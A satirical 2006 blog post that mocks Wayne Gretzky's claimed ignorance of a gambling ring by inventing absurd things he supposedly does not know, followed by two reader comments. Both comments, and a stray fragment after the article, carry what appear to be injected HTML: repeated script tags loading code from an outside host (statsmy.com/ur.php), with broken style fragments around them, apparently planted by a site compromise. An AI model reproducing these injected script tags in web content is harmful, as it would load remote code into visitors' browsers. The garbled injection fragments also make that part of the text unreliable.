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Some Other Things Wayne Gretzky Was Unaware Of
by Kris on 2/13/2006 (2)

"I'm screaming as loud as I can!"
Inside sources have backed up the claim that from hockey great and current Phoenix Coyote coach Wayne Gretzky that he had no prior knowledge of an illegal gambling ring involving his wife and assistant coach Rick Tocchet. This is despite his wife having gambled $1.7 million over a five-week period and Tocchet being one of his closest personal friends.

For a man to be so utterly oblivious such huge happenings going on around him, we at Smooth Operator suspected that there was plenty more that Gretzky would be unaware of. Thus using our many sources, most of which are of questionable nature, we found these other disturbing facts that Gretzky didn’t know:
Gretzky was unaware that the Earth is round. While preparing to travel to Italy for the current Winter Olympics, he was reportedly very frightened of sailing off the edge of the world. It was only after watching a History Channel feature about Columbus’s discovery of America that Gretzky was willing to travel. Gretzky still refuses to fly though, he is deathly afraid that the plane’s wings will melt off and they will plunge into the sea if they get too close to the sun.

Gretzky is unaware that ketchup and mustard are two different condiments. Having heard their name used together so many times, he simply believes they are just one red and yellow mess. In a somewhat related misconception, Gretzky also believes that French Fries are France’s largest export.

Gretzky is unaware that the United States of America elects their leaders by a Democratic vote. In fact, taking that one step further, he has no idea who the leaders of America are. Having spent the better part of his life deeply involved in hockey, Gretzky is unaware of any political leaders and has the false assumption that NHL commissioner Gary Bettman runs the free world. Gretzky is currently very concerned that if the health care situation in the United States isn’t fixed soon, the hospitals may start locking out their patients.

Gretzky is unaware of how elevators really work. He believes that when the doors close, the whole building is moved around him. While this was the case with early elevator technology, it has not been used since the mid-1980’s.

Gretzky is unaware of just how great Cornel Sander’s secret blend of 11 herbs and spices make his original recipe chicken. Having grown up in Ontario, Canada, the only bird Gretzky ever knew of was the penguin, which makes excellent jerky but are widely considered to be awful when fried. Past teammates of Gretzky had often tried to get him to try KFC but he always refused, citing the fact that he has no idea what a chicken is.
As we dive deeper into this case, it does not seem so far fetched that Gretzky was completely unaware of this storm brewing around him. Maybe it’s just that his head is so full of hockey that he cannot see things that are obvious to anyone else… or maybe he’s just a moron? Chances are, we will never know.t0" sty


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Comments

1. by Motz on 3/1/2007 4:52:29 PM
Great news! Everything works! Photofile too! Thanks again?si </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Gretz on 3/1/2007 4:52:29 PM
Hmmm... someone who thinks there are penguins in Canada isn't in the position to be calling anyone else a "moron."isplay:none">< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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